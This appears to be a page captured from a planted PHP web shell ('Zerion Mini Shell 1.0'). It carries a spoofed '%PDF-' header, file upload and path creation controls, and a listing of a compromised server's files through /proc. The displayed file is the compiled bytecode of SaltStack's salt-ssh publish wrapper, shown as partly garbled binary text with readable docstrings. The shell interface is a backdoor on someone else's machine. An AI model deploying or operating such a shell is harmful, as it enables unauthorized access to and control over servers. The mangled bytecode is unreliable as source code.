%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/227033/root/lib/python2.7/site-packages/salt/client/ssh/wrapper/
Upload File :
Create Path :
Current File : //proc/227033/root/lib/python2.7/site-packages/salt/client/ssh/wrapper/publish.pyo

�
���^c@@s�dZddlmZmZddlZddlZddlZddlZddl	Zej
e�Zddddddd�Zdddddd	�Zdddddd
�Zddd�ZdS(s
.. versionadded:: 2015.5.0

Salt-ssh wrapper functions for the publish module.

Publish will never actually execute on the minions, so we just create new
salt-ssh calls and return the data from them.

No access control is needed because calls cannot originate from the minions.
i(tabsolute_importtprint_functionNtglobttcleancC@s�|jd�r tjd�iS|r6tjd�n|dkrKg}nRt|t�sutjj	j
|�g}n(g|D]}tjj	j
|�^q|}t|�dkr�|ddkr�g}ntj
td�}	tj
t�}
|	j|
�|r
||	d<n|r||	d<n|g||	d	<||	d
<||	d<||	d<tjjj|	�}i}x!|j�D]}
|j|
�qtW|d
kr�i}xA|D]9}d||kr�||d||<q�||||<q�W|S|SdS(sH
    Publish a command "from the minion out to other minions". In reality, the
    minion does not execute this function, it is executed by the master. Thus,
    no access control is enabled, as minions cannot initiate publishes
    themselves.

    Salt-ssh publishes will default to whichever roster was used for the
    initiating salt-ssh call, and can be overridden using the ``roster``
    argument

    Returners are not currently supported

    The arguments sent to the minion publish function are separated with
    commas. This means that for a minion executing a command with multiple
    args it will look like this::

        salt-ssh system.example.com publish.publish '*' user.add 'foo,1020,1020'

    CLI Example:

    .. code-block:: bash

        salt-ssh system.example.com publish.publish '*' cmd.run 'ls -la /tmp'
    spublish.s*Cannot publish publish calls. Returning {}s5Returners currently not supported in salt-ssh publishiitmaster_optstrosterttimeouttargvtselected_target_optionttgttargRtreturnN(t
startswithtlogtinfotwarningtNonet
isinstancetlisttsalttutilstargstyamlify_argtlentcopytdeepcopyt__context__t__opts__tupdatetclienttsshtSSHtrun_iter(R
tfunRttgt_typetreturnerRtformRtxtoptstminoptsRtretstrettcretthost((sC/usr/lib/python2.7/site-packages/salt/client/ssh/wrapper/publish.pyt_publishsF 
	("	






icC@s1t||d|d|d|d|ddd|�S(s�
    Publish a command "from the minion out to other minions". In reality, the
    minion does not execute this function, it is executed by the master. Thus,
    no access control is enabled, as minions cannot initiate publishes
    themselves.


    Salt-ssh publishes will default to whichever roster was used for the
    initiating salt-ssh call, and can be overridden using the ``roster``
    argument

    Returners are not currently supported

    The tgt_type argument is used to pass a target other than a glob into
    the execution, the available options are:

    - glob
    - pcre

    .. versionchanged:: 2017.7.0
        The ``expr_form`` argument has been renamed to ``tgt_type``, earlier
        releases must use ``expr_form``.

    The arguments sent to the minion publish function are separated with
    commas. This means that for a minion executing a command with multiple
    args it will look like this:

    .. code-block:: bash

        salt-ssh system.example.com publish.publish '*' user.add 'foo,1020,1020'
        salt-ssh system.example.com publish.publish '127.0.0.1' network.interfaces '' roster=scan

    CLI Example:

    .. code-block:: bash

        salt-ssh system.example.com publish.publish '*' cmd.run 'ls -la /tmp'


    .. admonition:: Attention

        If you need to pass a value to a function argument and that value
        contains an equal sign, you **must** include the argument name.
        For example:

        .. code-block:: bash

            salt-ssh '*' publish.publish test.kwarg arg='cheese=spam'

        Multiple keyword arguments should be passed as a list.

        .. code-block:: bash

            salt-ssh '*' publish.publish test.kwarg arg="['cheese=spam','spam=cheese']"



    RR#R$RR%RR(R-(R
R"RR#R$RR((sC/usr/lib/python2.7/site-packages/salt/client/ssh/wrapper/publish.pytpublishlsAcC@s1t||d|d|d|d|ddd|�S(s
    Return the full data about the publication, this is invoked in the same
    way as the publish function

    CLI Example:

    .. code-block:: bash

        salt-ssh system.example.com publish.full_data '*' cmd.run 'ls -la /tmp'

    .. admonition:: Attention

        If you need to pass a value to a function argument and that value
        contains an equal sign, you **must** include the argument name.
        For example:

        .. code-block:: bash

            salt-ssh '*' publish.full_data test.kwarg arg='cheese=spam'

    RR#R$RR%tfullR(R-(R
R"RR#R$RR((sC/usr/lib/python2.7/site-packages/salt/client/ssh/wrapper/publish.pyt	full_data�scC@s�t|t�s*tjjj|�g}n(g|D]}tjjj|�^q1}t|�dkr}|ddkr}g}ntjj	t
d�}|j||�S(s�
    Execute a runner on the master and return the data from the runnr function

    CLI Example:

    .. code-block:: bash

        salt-ssh '*' publish.runner jobs.lookup_jid 20140916125524463507
    iit__master_opts__N(RRRRRRRRtrunnertRunnerClientRtcmd(R"RRR&R2((sC/usr/lib/python2.7/site-packages/salt/client/ssh/wrapper/publish.pyR2�s("	(t__doc__t
__future__RRRtloggingtsalt.client.sshRtsalt.runnertsalt.utils.argst	getLoggert__name__RRR-R.R0R2(((sC/usr/lib/python2.7/site-packages/salt/client/ssh/wrapper/publish.pyt<module>s0NG 

Zerion Mini Shell 1.0